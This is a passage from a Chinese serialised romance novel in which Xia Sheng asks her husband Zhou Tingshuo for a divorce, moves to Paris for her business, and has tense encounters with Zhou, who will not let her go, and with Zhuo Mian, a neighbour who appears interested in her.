从前的夏声没有恋爱过,现在她才知道所谓占有欲,不只是身更是心。 她希望她爱上的人也能爱她。 但如果不能,她也可以潇洒离开。 周庭朔试图从她眼中探寻隐藏的事实,可她噙着笑意的眼睛纯澈干净,令他不自觉放下那些猜想。 就这样,静静看着她也好。 远处中心区标志建筑前,不知是谁布置了无人机,骤然升空亮起,巨大的阵列摆出心形和花朵的造型。 紧接着转换画面,变成一句英文。 Marryme! 大概是哪位男士求婚的排场,要邀整个城市作见证。 碧水华汀的位置是绝佳视角,夏声隔着窗远远看着,直到无人机变成一对戒指,笑着感叹。 “也不知道是谁,这么浪漫。” 哪怕她故意隐藏,但眼里的艳羡还是显露出几分心思。 周庭朔站在她身后,视线落在远处,陷入沉思。 也不知她成为浪漫事件的主角时,会是怎么样的表情。 窗外无人机变成五颜六色的烟花状,看来是求婚成功。 夏声看得心满意足,拿出手机拍了张照片,原本想发给安真,却转念发给了身后人。 她扬了扬屏幕:“记得转给祁家骏,以后要是想跟真真求婚,规格按这个来。” 见周庭朔目光沉沉地看着她,也不说话,又加了一句。 “就当是你给他个建议,安真很吃这一套,让他按这种准备肯定没错。” “好。” 他想起一个月后,就是她的生日,又问了句。 “你喜欢吗,这些。” 夏声有些惊讶,微张着嘴看眼窗外,表情有些讷讷。 “还好吧。” 就算她喜欢,也没什么意义了,都是准备离婚的人。 * 就像周庭朔所说,夏声给自己时间安排得很满,见福宝状态稳定,转天她又直接拉着行李箱飞到锦城。 夏国理自从昨晚手术,人的状态好很多,最近拐杖都不怎么用,晚上夏声陪着遛弯,走得都快了。 两人在小区不远的公园散步,远处夕阳沉下地平线,留下橙黄的余晖。 老人家拍了拍她挽着的手。 “最近是不是跟小周闹别扭了?” 夏声手里给他摇着扇子,偏头问:“怎么,他来告状了?” “瞧你这话说得,小周是那样人吗?”老人睨她一眼,又按下她的扇子,让她认真点,“爷爷知道你不是个任性的孩子,两人真有不愉快,多沟通沟通。” “小周心不坏,我瞧着对你也不赖,别把小矛盾拖成大问题。” “嗯。”夏声应了声,转头才跟他说,“爷爷,过几天我就出国了,你要有事一定记得告诉我,我抓紧回来。” 老人知道她还惦记自己的身体,只让她放心忙自己的事。 “知道,就算你回不来,家里不还有你大姑。” “再不济,还有小周,真有什么去京市也能找人看。” 夏声一句话到嘴边,又咽下去:“总之您注意身体。” 在锦城她也只呆了两天,临走前夏声给大姑姑夏春燕留了一笔钱。 “姑姑听说你自己办了个公司,那不是处处都用钱,还是你自己留着吧。”夏春燕将卡往她怀里推。 她跟这个姑姑虽然不算太亲,但到底是一家亲戚,上次她给夏国理看病更是尽心尽力,夏春燕都看在眼里。 夏声将卡放到旁边的桌上,隔壁夏国理正在午睡,她压着声音。 “平时都是您照顾爷爷,我只能在这上尽点力,姑姑就别推辞了。” 夏春燕叹口气,算是应下:“你这孩子,就是太懂事。” 安排好这边,夏声才赶回京市。 转天,安真就着急忙慌地叫她出来见面。 夏声正在公司处理工作,她接下来要出去很久,有很多要安排的事,奈何安真不依,一定要她露面。 等问了地址,才知道安真现在还在拍摄,她暂时交代一下,出来就直奔安真那。 赶到时,安真刚好结束拍摄,正在卸妆。 广告拍摄棚另一边正忙着拍另一组镜头,夏声拉过一条凳子,坐在安真旁看那边。 她指指正在镜头前拍摄的人,问安真。 “那不是你那部戏合作的男二吗,有亲密戏那个,你俩又一起拍广告?” 因为上部戏的路透很多,他们俩的cp很有话题,所以立刻有后续资源找上来。 安真正在由着化妆师拆头发,脸上满是心事。 夏声瞧了眼她的神色,转过身来:“怎么了,难不成祁大公子又因为这事生气了?” “不是生气。”安真面露难色,等化妆师离开,才低声回她,“我感觉他好像受刺激大了。” “他在偷偷准备跟我求婚……” 一语惊起浪,夏声坐直身体。 “你是不想同意吗,怎么这个表情。” 倒也不是不想同意,只是安真的顾虑很多,而最大的问题就摆在眼前。 “我现在事业刚起步,如果就结婚……”她抽出两张纸巾,用力擦着唇上的唇彩,“更重要的是,我怕他只是一时上头,冲动做得决定。” “如果我同意后,他又冷静下来,才更难收场。” 夏声却想,会不会是前两天自己让周庭朔发给他的求婚照片,给他灵感了? “应该不会。”她站到安真身后,透过镜子看对方,“这段时间他对你如何,大家都看在眼里,起码现在他应该是认真的。” 镜子中的人目光放空,半晌才跟她对上视线。 “如果是真的,那另一个问题更严重。”她苦笑一下,“他家里不会同意我们的。” 这一层夏声倒是没有考虑到,她轻轻按了按安真的肩,一时不知该怎么说。 那边男演员也结束拍摄,顺路来跟安真打招呼。 摄影师也收工了,临走时还夸安真刚刚的拍摄表现很出众,回头成片会很好。 夏声默默看着,等人都离开,才开口。 “你先别想太多,等我给你探探消息。” 她心里有了计划,笑着拉安真起来去换衣服:“好了,别担心,这本是好事呢,快去卸妆咱们去好好聊聊。” 两人从拍摄地出来,转去隔壁的甜品店,那的下午茶很出名。 甜品店开在写字楼二楼,位置并不算好,纯靠口碑打出名声。 夏声她们正在一楼等电梯,安真突然问她。 “对了,你之前说签证下来了,准备什么时候走啊?” “快了吧,等我把这边的事安排好。” 之前夏声已经跟她说过,自己准备跟周庭朔分开,安真有些唏嘘。 “那你出国的事……真不准备跟他说 了?” 眼前电梯数字不断闪烁,很快降到一楼,在电梯开门前,夏声才淡淡开口。 “会说,等准备好离婚协议,一起说。” 两人走进电梯,转身的瞬间,夏声才看到对面电梯门口站着一个身影。 周庭朔眸色沉冷地立在那,整个人散发着驱人的寒意,不知在那站了多久。 他身后的何归脸色尴尬地看眼夏声,又迅速垂眼退到一边静静等着。 电梯轿厢的门在彼此视线之间缓缓合上。 周庭朔沉默看着紧闭的金属门,心中有根弦,骤然崩断。 第57章 第57章要签协议,你回来我们面…… 事情以这种形式展开,夏声也有点措手不及。 眼前的甜品精致香甜,但她无暇品尝,只看着上面殷红的樱桃发呆。 对面的安真也有些坐立难安,刚刚她看到了周庭朔的眼神,只要一想起来,都无端打寒。 “声声,要不你先别回去了,住我那吧?” 夏声捏着叉子,随意拨弄着:“走之前总要跟他摊牌,早晚的事。” “这件事让他以这种形式知晓,其实是我不对,他生气也正常。” 原本她计划的是,两人面对面将话说清楚,而不是像今天这样,当着其他人的面,不体面地抖落出来。 安真替她担心,也替自己发愁。 “怎么咱们俩最近都这么不顺,偏还赶上你要出国……” 其实夏声并不悲观,说到底周庭朔是个讲道理的人,纵使这会儿他生气,但只要将事说开,应该没什么。 反倒是安真,按照她的说法,如果祁家一直不同意他们的关系,才是真的棘手。 姐妹俩聊到一半,安真又接了电话,她如今经纪人是圈内有名的雷厉风行,能抢资源的大姐头,也是祁家骏介绍给她的。 “声声,我得先走了,韩姐又来急茬,要我去见个制片人。” 自然工作要紧,夏声让她赶紧去。 她又独自坐了一会,将眼前没动过的甜品吃掉。 手边的手机屏幕亮起,她解锁看到了薛宁玉发来的新消息。 是让她跟周庭朔这周回西苑吃饭。 这场关系结束,她最愁得反而是如何跟薛宁玉开口。 眼看时间还早,夏声先回公司安排工作。 八点多,云声文化里只有夏声跟秦莫还在,两人在她办公室,商量着之后她出国过渡期的工作分工。 休息的间隙,秦莫去接水,夏声点开手机,发现工作群里有新消息。 【许可欣:@夏声夏总,楼下好像是你先生在等你,需要我带他上去吗?】 许可欣下班也有一会了,消息是半个多小时前发的,夏声看眼时间,抬手关掉电脑。 估计秦莫也看到消息,见她出去笑着让她快下楼。 “你们家周先生也真是,来找你也不打个电话,或者直接上来也好啊,就这么在楼下干等着。” “嗯。”夏声没多言,“你也早点下班吧,明天咱们再接着说。” 夏声的公司所在的办公楼并不高,也不豪华,里面多是初创的小公司。 所以门前停着那辆黑色劳斯莱斯还是挺显眼的。 她远远看过去,周庭朔并没在车里等,而是斜倚在车身旁,身影有些落拓,掩在并不多明亮的路灯下。 见她走来,他侧过一步,沉默着将车门打开。 夏声坐进后座才发现,车上并没有司机,想开口时,他人已上车。 车门关闭发出沉闷的声响,将外界的声音一律隔绝。 “不先开车回家吗?”她问。 周庭朔垂着眼睑并没有看她,唇线崩得笔直,似乎在强忍着什么情绪。 他鼻梁上架着副银丝眼镜,眼神避在后方,晦暗不明。 “你没有什么想说的吗?” 声音平直,听不出情绪,却又像风雨欲来前的短暂平静。 夏声蜷了蜷指尖,道:“今天的事对不起,我应该跟你道歉,这件事我本想更正式的跟你说。” 像是终于失去耐心,他冷冷抬起视线。 “现在说。” 从没有一刻,他迫人的威压如此不加收敛地倾轧到她身上,夏声不自觉略微向旁边挪了下,直到胳膊抵到另一侧的车门。 “公司发展需要,我过一段时间准备出国。”她喘了口气,又接着说,“还有,我已经委托律师草拟离婚协议,我们……” “夏声。”他蓦地开口,声音仿佛淬了冰,“你真是有本事。” 车窗外的路灯只能映照出他半边轮廓,银质眼镜边框闪过冷冽的光,他转身看过来。 “你考虑好,再说一遍。” 他上位的姿态令夏声不适,于是她挺直背,干脆言简意赅,快刀斩乱麻。 “我们离婚吧。” 她直视着周庭朔的眼睛,心底突然升起一抹悲哀。 “我原以为婚姻只是形式,但现在发现根本不是这样。” “两个再好的人,不相爱的话,在一起也不会幸福,所以我不想再将就。” “不相爱”三个字十分清晰地灌入他的耳膜,周庭朔喉咙滚了滚,开始回想是从哪一刻她开始变得冷淡疏远。 ——好像是那次会所,他与卓冕最后一次谈及她。 他脑海里浮现对方隐忍着,不甘退让的眼神。 跟他不相爱,难道跟别人就能相爱? 镜片后的眸子闪了闪,周庭朔唇角勾起浅浅的弧度,但眼中并无一丝笑意。 他一寸寸逼近夏声,直近到能清楚看到她睫毛颤动的弧度。 “出国,离婚。”他手掌困住她的腰肢,将人箍在身前,“你凭什么认为我会同意?” 他的眸光带着沉甸甸的重量,似乎要将她的决念压垮,夏声别过视线,不肯再看他。 “你没理由不同意,以你的条件想再找一个优秀的联姻对象并不难。” 周庭朔似乎被她的话惹怒,抬手别过她的下巴,硬要她直视自己。 “我不想再找,也不会再找。” 一想到她已经做好离开自己的准备,周庭朔的心里掀起一阵巨浪,澎湃汹涌,瞬间将他的理智吞没,他咬了咬牙,按下翻涌的不安。 此刻,他恨不能将她囚禁在自己身边,让她哪也去不了。 “你不许走,更不许提离婚。”他的口气带着毋庸置疑。 夏声看向他的眼神一怔。 相处这一年,周庭朔一直是钱多事少好商量的典型,何况他并不喜欢自己,按理说这件事他就算一时难接受,大抵也不会这么大反应。 她觉得大概是让他得知消息的方式实在不体面,才让他如此生气。 夏声放低声线,好商好量。 “其实我出国与否本不需要你的同意。” “至于离婚,只要夫妻双方事实分居超过两年,也会自动判定为法律关系失效。” 她推了推他,试图让他退回去,可眼前人似乎铁板一块,紧紧圈着她不肯放开,她只能作罢。 “我其实是想,我们好聚好散,所以才正式地跟你谈一谈。” 周庭朔眼眸看着她,想不清楚为什么那么柔软温暖的唇,会说出如此冰冷的话。 他琢磨重复着:“好聚好散……” 鼻梁上的眼镜被他一把摘掉,扔到一边,他钳起她的下巴,重重地吻下去。 这吻带着热烈浓郁的情绪,用力厮磨,紧闭的牙关根本抵挡不住他不管不顾的攻势,没多久他的唇舌便挤进来。 夏声推拒的手腕被他按在车座上,他的手撑在她脑后,让她不得闪躲。 “周……唔。你别……” 她的话,断断续续,被他吞入腹中。 车内温度逐渐升高,周庭朔钳着她的手终于放开,单手解开自己衬衫领口的扣子。 两人唇舌已纠缠了许久,夏声终于得了机会,推开他愤恨地说了一句。 “你疯了!” “这是在车里,我公司门口!” 实际上,周庭朔并没有想做什么,只是心底压抑的燥怒像是急欲喷发的火山,他需要冷下来。 这会儿,他终于停下动作,慢慢退 回一边。 夏声今天穿着一身职业套裙,珍珠白的衬衫已经被揉皱,她快速整理了一下。 “离婚协议明天我会拿给你,今天我去安真那住,你冷静下来,好好考虑一下。” 说完,她转身推开车门。 周庭朔靠坐在那,头略微向后仰,双眼轻阖,说了一句。 “我不会签的。” “你死了这条心。” 夏声动作一顿,随后头也不回地下车关门离开。 她本想去开车,复又折返回公司办公室,快速将律师新修改过的协议打印两份放进包里。 只是再下楼,那辆车已经不在原位。 这一夜,夏声失眠了,她躺在安真旁边努力清空思绪,却怎么也睡不着。 躺得实在心烦,干脆直接起床,倒了杯热牛奶在客厅拿出那两份协议。 内容细则已经修改过,她翻到签字页,看着空白的两处,眼神暗了暗。 等到杯中牛奶喝完,她才拿出笔,一笔一画签好自己的名字。 而另一边,碧水华汀的书房,灯亮了一夜。 转天,夏声在公司忙到傍晚,想想还是给周庭朔发了消息。 【夏声:晚上几点回去,我把协议带着,你签下字。】 不出意料,他并不接茬。 【周庭朔:抱歉,今晚没时间。】 她通知到便好,所以晚上下班照例回到碧水华汀,将协议放到他书房的桌子上。 那张她送的黑色烫金的生日贺卡,被放在旁边随手可及的架子上,定制的钢笔就搁在桌面,显然时常使用。 夏声抿着唇,没多作停留,回到卧室将自己的东西一件件收起来。 行李不算多,她搬了几趟,刚好放满车后备箱。 最后一趟,她蹲在地上将扬着尾巴的福宝抱起来,用力蹭了蹭它的脑袋。 “乖乖,你不要太想妈妈,等我从国外回来一定接你走。” 小猫咪懵懂地喵两声,只顾打呼噜。 它绝育的痛已经忘到脑后,这几天倒很想念总也不在家的主人。 等看到夏声拖着行李又要走,那叫声开始拉长音,仿佛知道又要面对长久分离。 夏声不忍心,又摸了一会它。 最后站在门前,回头看眼住了近一年的地方,忍不住眼窝发热,最后狠下心转头匆匆离开。 几个小时后,周庭朔一身疲意回来。 福宝围着他喵喵叫,似乎有什么急事一般。 他心情不佳,无暇顾及它,松了领带就往里走。 当看到书房桌上那两份离婚协议后,原本紧皱的眉便压得更低。 文件细则他一概未看,直接翻到签字页,发现她娟秀的签名已经落款。 额上的青筋跳了跳,他沉默地将两份文件一起送进旁边的碎纸机。 纸张从闸口通过,随着嗡嗡的震动音,碎为再也不能复原的样子。 再回头,才发现桌上还放着一张银行卡,那是他之前给夏声的那张。 几分钟后,他骤然从书房离开。 果然,卧室的衣帽间里,透明玻璃柜已空了少半。 原本角落里清新婉丽的色彩全部消失,又只剩下单调的黑白灰三色,一如他的生活,好似骤然回到无聊无趣的从前。 周庭朔怅然退了两步,靠在柜子前缓了几秒。 随后拿出手机,拨打置顶号码。 对面接通得很快。 “你去哪了?”他压着声音,尽量不露一丝情绪。 “不是要我签协议,你回来,我们当面谈,谈好了,我再签。” 第58章 第58章不好意思,她不让说…… 挂断电话,夏声长舒一口气。 见面的要求被她拒绝得果断,只让对方有任何协议方面的问题可以发给她,她让律师去处理。 实在是前一天的周庭朔失控得不像他,夏声暂时不想再跟他见面。 她转身看了眼所处的房间,空荡清冷。 这次她没有去安真家,而是来了这套林家给她买的从未住过的房产。 房子不算小,家具也一应俱全,只是很久未住人,需要打扫一下。 夏声拿上钥匙去附近的连锁商超。 半个小时后,她提着一大兜商品结账。 正准备出门时,看到一个熟悉的身影,对方似乎刚来。 “卓冕?” “夏声,你怎么会在这?”对方看到她提着的购物袋,眸色一顿,“你这是……” 有顾客要从旁边过,卓冕将她拉到身边,大概是觉得那一大袋东西很重,便顺手准备接。 夏声换了下手,笑道:“没事,就买了点日用品,拿得动。” 再看眼卓冕,他今天倒一改西装革履的精英律师模样,穿着T恤休闲裤,很松弛的打扮。 “你住这附近?”她问。 这一片也属于高档住宅区,卓冕说了他住处,就在夏声家隔壁,倒也是巧。 得知她暂时要在这边住,只要暂一联想,他便知道发生了什么。 “所以,你搬出来了?” “那我们以后就是邻居了。”他似乎心情愉悦,护着夏声躲开人流向外走。 等出了门口,夏声才想起来:“你不是刚要去买东西吗,怎么一起出来了。” “想起来家里还有,不用买了。” 附近这一带绿化很好,加上也不是人员密集区,回去的路上都很安静。 两人并排走着,保持着恰好的社交距离。 路程过半,卓冕问起她之后的打算。 “大概要出国一段时间。” “出国,去哪?” 旁边的身影突然停住脚步,夏声闻声回头,面露疑惑。 似乎察觉到自己反应过度,卓冕又迎上来跟她并排往前走。 “第一站肯定是法国,以后可能还要去北欧几个国家。” 这会已到夏声家附近,她准备告别进去时,卓冕叫住她。 “什么时候走,我送你。” 她摆摆手,笑着推辞:“不用啦,我约了朋友送我。” 夏声的身影逐渐隐于夜色,卓冕立在原地,平静的表情慢慢出现松动,像是有什么念头破土而出。 独自回去的夏声又忙活了好一阵,终于把房间收拾出个样子,十一点前成功躺进干净的被子里。 隔天就是周末,她买了些东西带着去西苑。 进门才知道,薛宁玉今天临时有事,跟着周起岩一并周老爷子都出去了。 周仪娇最近被安排进明箴见习,每天苦哈哈地到点去打卡,满腹怨言。 她拉着夏声吐槽:“我哥这几天不知道怎么了,丧着个脸,全公司的人大气不敢出,害得我连迟到早退都没机会。” 夏声今天来本是想跟长辈们说下她跟周庭朔的事,但人不在也只能作罢。 这会陪周仪娇聊会天,就准备走。 刚好周灵熙从楼上推着周庭昀出来。 “小婶婶来啦,太好了,你快来!” 小姑娘新买了棉花娃娃,一直想找人分享,但她爸半点不懂,小姑姑也没兴趣,今天可算等来了夏声。 大哥周庭昀眼神宠溺地看着女儿,用拜托的语气跟夏声开口。 “你要是不忙,麻烦陪她一会,这几天她就总念叨小婶婶了。” 闻言,夏声只好跟周灵熙上楼。 小姑娘藏不住心事,一进房间就跟她小声嘀咕。 “小婶婶,下个月就是你生日了,我偷偷给你准备了生日礼物。” 都说出口了,怎么还叫偷偷,夏声笑着问她:“什么礼物啊?” 周灵熙一板表情,很有原则地拒绝泄露。 “那要等你生日才能告诉你,不然就没惊喜了。” 这惊喜她无论如何也收不到的,夏声笑意消散,随即招手将小姑娘拉到身前。 “小婶婶很高兴熙熙给准备礼物,只是过段时间我要出趟远门,生日时可能不在京市了,不过熙熙的心意婶婶收到了。” 周灵熙抿着嘴,似乎在考虑她的话,很快就想到办法。 “那我到时候准备好,让小叔叔带去给你,婶婶过生日小叔叔肯定会去找你的!” 夏声没办法跟她解释大人的事,尤其她父母的事又那么敏感,于是只好尴尬笑笑。 “到时再说吧。” 陪着她玩了会,夏声终于得空下楼,才发现周庭朔不知何时已经来了。 他长腿交叠,靠坐在客厅沙发上,手肘搭在扶手边,表情寡淡。 旁边的周仪娇坐得端正,似乎在跟他说些见 习的事。 跟薛宁玉原定是回来吃晚饭,夏声刻意中午过来,就是为跟他错开,没想到还是遇上。 大概听到她下楼的声音,周庭朔转过头来,视线紧跟着她的身影。 夏声没有理会,准备拿包走人。 周仪娇刚跟她告别,转头就发现还没跟她说完话的周庭朔也起身跟着离开。 这两人肯定不对劲,不一起来不说,打了照面都互不交流。 她偷偷给薛宁玉报信。 这边夏声前脚刚出前厅,后脚周庭朔就跟上来。 “你搬去哪了,安真那你也不在。” 夏声没想到他会去找,也不想多余告诉他住处。 “协议你到底有问题没,没有就签字吧,别耽误时间。” “有。” 她停下脚步,转身看着他:“什么问题?” “协议已经被我碎了,签不了字。” 周庭朔说得一本正经,仿佛这行为再正常不过。 她闭了闭眼,平静几秒后,拿出手机。 “我把电子版发给你,你自己打印出来签好给我。” 他上前一步,握着她的手腕按下:“我们分开,那猫怎么办?” 这一点,她还需要拜托他,于是语气缓和一些。 “福宝你先帮我照顾一段时间,等我回来,我会接走。” “我没时间,照顾不了。”他几乎一秒拒绝。 夏声压下的脾气又上来:“那就不用你照顾,暂住你家,徐姐会帮忙照顾,用不用我给你转些钱算它伙食费?” 眼见她态度强硬,周庭朔还是败下阵来。 “声声,你想要出国,想要我照顾福宝,都可以。”他紧盯着她的眼睛,“但能不能,不离婚。” 夏声不明白为什么他如此执着,几乎口不择言般质问。 “你为什么不肯离婚,难不成是舍不得,你爱上我了?” 这一刻,气氛陷入凝滞。 夏末的风仍有余温,穿过两人间骤然的缄默,又消散于无形。 夏声只觉得无尽的疲惫,为他的沉默,也为自己无意义地试探。 她手腕用力挣脱出来,没有等到他的答案,转身上车离开。 留在原地的周庭朔似乎被那句话触动,半晌没有回过神,脑海里始终在自问那个问题的答案。 他从没有深究过,自己为何不想离婚。 所以,那天无意听到她说要出国离婚,便理智出走,冲动到不计后果,难道是因为——爱她? * 夏声的航班原本定在一周后,但她临时往前调了几天。 走之前的那晚,安真退掉一切工作,跟夏声在大排档聊天畅饮。 路边店支着几张简易桌椅,两人找了最角落的,点上一打啤酒,又要了许多烤串。 这家店大一时两人就常来,物美价廉味道还好,只是后来都忙起来,就来得少了。 老板娘还记得她们,送了一碟毛豆花生,还直夸她们更漂亮了。 安真攥着一只酒瓶,给夏声倒完,自己准备对瓶吹。 夏声可不能由着她,夺下来给她也用了杯子。 “你不许喝醉,明天要送我呢,你敢起不来看我不剥你的皮!” 两人碰杯,安真支着下巴看她。 “怎么办,一想你要走那么远,我就难受想哭。” “哭什么,我还不回来了?” “不是。”安真将眼前的肉串递了一把给她,“我一想到你一个人跑到国外,人生地不熟,得多辛苦啊。” 出国是为了事业,辛苦是肯定的,夏声从没把这些当回事。 她将卤花生捏开,一粒粒剥出来,吃了两颗突然叹口气。 “其实我最担心的,是出国了我吃什么……” 一想起她的厨艺,安真摸了摸鼻子。 “要不你带一箱泡面过去吧,这总能填饱肚子。” 夏声行李早收拾好,根本没地方再装别的,她拿起玻璃酒杯摇了摇,发下豪言。 “没准在国外能把我厨艺逼得突飞猛进猛进呢,咱们拭目以待。” 两人都知道这可能微乎其微,嬉笑着碰杯,夏声又想起一件事。 这两天她抽空去找了趟祁家骏,对方似乎真的有求婚的打算。 只是夏声提起他家里那边,他却沉默了。 作为外人她不方便参与他们感情的事,但作为安真的朋友她又做不到袖手旁观。 “如果你没有十足把握保护她,特别是来自你家庭的伤害,那我建议你求婚慎重。” 毕竟上次就因为他家里人找上安真,两人闹得不可开交。 这次触及到婚姻,只怕压力更大。 夏声之前不知道他家里不同意他们交往,不然也不会怂恿周庭朔给他发什么求婚建议。 她看向安真:“我看祁家骏这次确实是认真的,但他家里的阻力也确实存在,所以你做决定时,要考虑好。” 烧烤的烟火气一阵阵传来,安真深吸一口气,笑笑。 “我知道,哪怕你跟听说哥相处得这么好,不也走到这一步。” “足以见得,婚姻这事水很深。” 后一句话她说得故作深沉,惹得夏声睨她一眼,一下又将两人谈话拉回到轻松的氛围。 之后谁也不再提什么烦心事,只为未来的无限可能干杯。 “将来我肯定能成当红女一号,火爆全球。” “好的,安影后。” 安真很受用,挑着眉梢笑。 夏声也放下豪言:“那,我以后要拿下整个北欧市场,成为行业翘楚。” “没问题,福布斯富豪榜就等你了!” 一夜不着边际的畅想,第二天夏声在晨光中踏上前往异国的航班,悄无声息又无比坚定。 不久后,安真被某人堵在片场。 周庭朔眉眼低沉,只问她一件事。 “麻烦告知下,她去哪了。” “不好意思周总,声声说了不让告诉别人。” 第59章 第59章她身边的是谁 西苑,长桌前气氛凝重。 周仪娇挑着眼皮偷偷观察,眼神从薛宁玉身上转到周庭朔那,只见对面人周身仿佛拢着沉黑的雾气,疑似负压到底。 一直没人说话,简直如坐针毡。 半晌,薛宁玉才开口。 “我之前怎么说的,要你上点心,老婆要宠着哄着。”薛宁玉抱着臂,气不顺地看着自己儿子,“现在好了,出问题了吧。” 被数落的人始终绷着唇线,无甚反应,看得周仪娇着急。 “妈,也没那么严重吧,嫂子不是说为了谈合作才出国的,早晚还回来呢。” 薛宁玉冷哼,睨她一眼:“回来?早上我刚跟她联系过。” 她转而看向周庭朔:“声声说是她自己的问题,要跟你分开。” 周仪娇没想到事情这么严重,“啊”了一声。 “哥,怎么回事啊?” “怎么回事。”薛宁玉直接下结论,“肯定是你哥天天就知道忙工作,不着家也不把人放心上,让声声失望了。” “说到底,在感情方面,他跟你爸一个德行,跟个臭石头蛋一样!” 刚从外面打完高尔夫回来的周起岩停住脚步,不赞同地看她一眼。 “你说儿子的事,就别扯上我了。” 转头,他拍拍儿子的胳膊,似乎能感同身受般叹口气。 “不过庭朔,在这些事上,你确实要吸取我的教训,不然你看,一辈子被你妈数落。” 薛宁玉瞪他:“还一辈子,他现在跟人家有没有一辈子可过还两说了!” 一直未出声的周庭朔肩膀压了压,声音带着颓意,似乎耗尽心力,已不想跟自己母亲争论。 “妈,我不会跟她离婚。” 听他这样表态,薛宁玉火气消了些。 她是打心眼里喜欢夏声,所以才恨自己儿子不上心不挽留,一副冷冷淡淡的态度。 “你既然这么说,就不能在这干等。”她思量着,“等两人分居久了,没事都变有事。” “我知道,我会想办法。”周庭朔说完便准备起身 。 今天他被薛宁玉紧急叫回来,下午的会已经推迟了两个。 眼见他要走,周仪娇追出来。 “哥,你要找嫂子去吗,去法国?” 她一副欲言又止的样子,只一眼周庭朔都知道她想的什么。 “你想知道他的近况,去问他本人。” 周庭朔口中的“他”,此刻正在大洋彼岸,夏声的对面。 “夏小姐?” 夏声看着眼前人,反应了一会,才认出来。 “苏晋,好巧啊,在这能遇到你。” 来到巴黎已有半个月,这些天夏声办手续找住处忙工作,每天充实到吃饭时间都是挤出来的。 此刻她手里握着只羊角包,胳膊下夹着一摞文件,正准备去附近的警局。 苏晋车就停在她旁边:“夏小姐要去哪,我刚好有时间可以送你一程。” 对方说完便下车帮她开了车门。 夏声跟他只有过一面之缘,算不上认识,但此刻他如此热情,倒不好再推辞,便道谢上车。 得知她要去警局,苏晋有些意外:“发生什么事了?” “前两天包在街上被抢了,我护照还在里面,需要去报个警,拿到回执好补**件。” 她轻描淡写几句,掩饰了那日惊心动魄的经过。 巴黎的治安远没有她想象的好,来这的第十天,夏声就被两个黑人男当街抢包,还是在大白天。 当时人从她身后快速跑过,直接将包从她肩上掠走,夏声被拽了个踉跄,差点摔倒。 那一刻懵怔大于惊吓,等她反应过来时,人早都转过街角跑了。 苏晋快速看了她一眼,有些惊讶于她的镇定。 一般人遭遇这种事,总要抱怨后悔一阵,可她却像没事人一般,该做什么就做什么,一点不矫情。 “有我能帮上的吗?” 夏声快速把羊角包吃完,将包装的牛皮纸折好放进口袋。 “没事,就是丢点现金,证件补上就行。” 到警局,报案也只是走个流程,警员看她是个外国人,更是敷衍。 随便甩张单子让她填,连具体案情都没问。 苏晋待要上前理论,被夏声拦下来:“算了,反正也没指望找回失物,在国外不比国内。” 拿到回执从警局出来,苏晋还想送她回去,夏声推说刚好在附近有事,就不麻烦了。 “谢谢你啊,改日有时间一起吃个饭。” 两人加了联系方式,苏晋才开车离开。 回去上班的路上,他给国内打去电话。 几个月前,他被公司外派驻总,刚好上个月转到法国分公司。 “周总,我见到夏小姐了,她的住处也知道了。” …… 忙完一天的夏声捧着一盒披萨回到自己的小公寓。 房东太太前一天刚帮她换过漏水的水管,她进门不放心,又去浴室看了眼,还好没事。 前一天水漫金山,夏声回家差点以为自己进了水帘洞,将屋子里一半东西泡了不说,下个月水费又是惊人的一笔。 要不是房东太太好说话,她都有点想搬家了。 将披萨放到起居室的小圆桌上,夏声掀开盒子捏出一角咬一口。 不大的房间,进门对面是一扇小窗,窗正对着对街,一个络腮胡子的白皮中年男在对面窗台对着她骇笑。 公寓窗帘是暖色的雏菊碎花,夏声冷着脸走过去一把扯上,转身坐在窗下的布艺软沙发上。 这几天合作谈得虽然有进展,但竞争对手也在发力,云声文化公司小,名声资源都不及人家,能拿上桌的东西不多。 她将披萨吃完,电脑打开,调出文件又登上微信,准备跟韩子弋聊聊。 对方作息刚好适配她的国外时差。 【韩子弋:你提出的这些视觉要求不难实现,难的是对方认可。】 【韩子弋:这种完全中式的审美基调,未必受海外市场欢迎。】 夏声也知道,但不想妥协,她手指在键盘上无意识画着圈,看到旁边消息栏,周庭朔的头像冒出红点。 【周庭朔:你一个人住,地方安全吗,明箴海外部也有员工住宿,我可以给你安排。】 自从到巴黎,周庭朔时不时还会给她发消息,出于礼貌她都会回,但通常对话落脚点都是同一个。 【夏声:不用,我这很好,还有协议你签了吗?】 每次最后一句话,对方都会当看不见。 夏声也不急,左右自己已经出国,离不离婚早晚的事,等她回去再处理也行。 只是她不喜欢他仍有意无意的关心,有些懒得应付。 【周庭朔:明天巴黎会变天,你记得带伞。】 夏声这会儿忙着看资料,没再回。 这边,没再接到回信的周庭朔打开地图,看着在法国巴黎的定位标,眼神晦暗。 富人区与穷人区交界的地方,算不得什么好住处。 指腹摩挲着手边的钢笔,他打开接下来的行程表,一项项的划掉。 转天,真如周庭朔所言,巴黎的天阴下来。 但积云一直压着,没有下雨。 难得今天夏声上午就结束工作,中午去买了些食材,准备自己研究点果腹的食物。 她的手艺,只能达到果腹水平。 临近公寓拐角,一个身影背对她站在半高的邮筒后,夏声以为自己眼花,等走近了才确认。 “卓冕?你怎么在这?” 男人穿着半长风衣,冲她笑得和煦。 “度假,刚好到巴黎,想起你在这,就来看看。” 两人说了几句话,夏声就请他去公寓坐坐。 起居室并不大,平时自己住不觉得,陡然多出一人,就显得有些狭小。 将东西放到厨房,夏声沏了红茶来。 “你怎么找到这来的?”她坐在沙发旁的布艺圆凳,将茶递给卓冕。 对方笑笑,看眼身下不新不旧的砖红色沙发套,接过茶。 “上次问你住在哪个街区,你一说我大概就猜到了。” 他之前因为一个案子,在巴黎待过半年多。 夏声捧着茶杯,茶是在这边买的,味道干涩口感不如国内。 “你对这都这么熟了,休假怎么不去新鲜点的地方。” 卓冕抿口茶:“其实各个国家都走得差不多了。” 夏声:…… 也是,他们总是全年到处飞,也没什么新鲜可言。 卓冕想起她刚刚提着的东西,问:“对了,你刚刚是准备做饭?” 自己一个人是这么打算的,但他来了夏声觉得还是算了。 “我请你吃饭吧,我们出去吃。” 她放下茶杯,刚准备起身,却被卓冕叫住。 他似乎对这边的食物不感兴趣,看眼放在半开放厨房台面上的食材。 “倒不如自己做,白人饭吃多了,会让味蕾退化。” 对此,夏声深表认同:“但我厨艺感人,可能还不如白人饭。” 卓冕起身,去那边将食材一一拿出来。 “如果你不嫌弃,我们可以一起试试。” 小公寓厨房只有一个简易炉灶,一个洗菜池,外加一台半旧的单门冰箱。 两人并排站那,转身都容易碰到彼此。 夏声将生菜拿到外边圆桌上摘,卓冕在里面处理洋葱和土豆。 旁边的手机响起,她看眼显示,是周庭朔的号码。 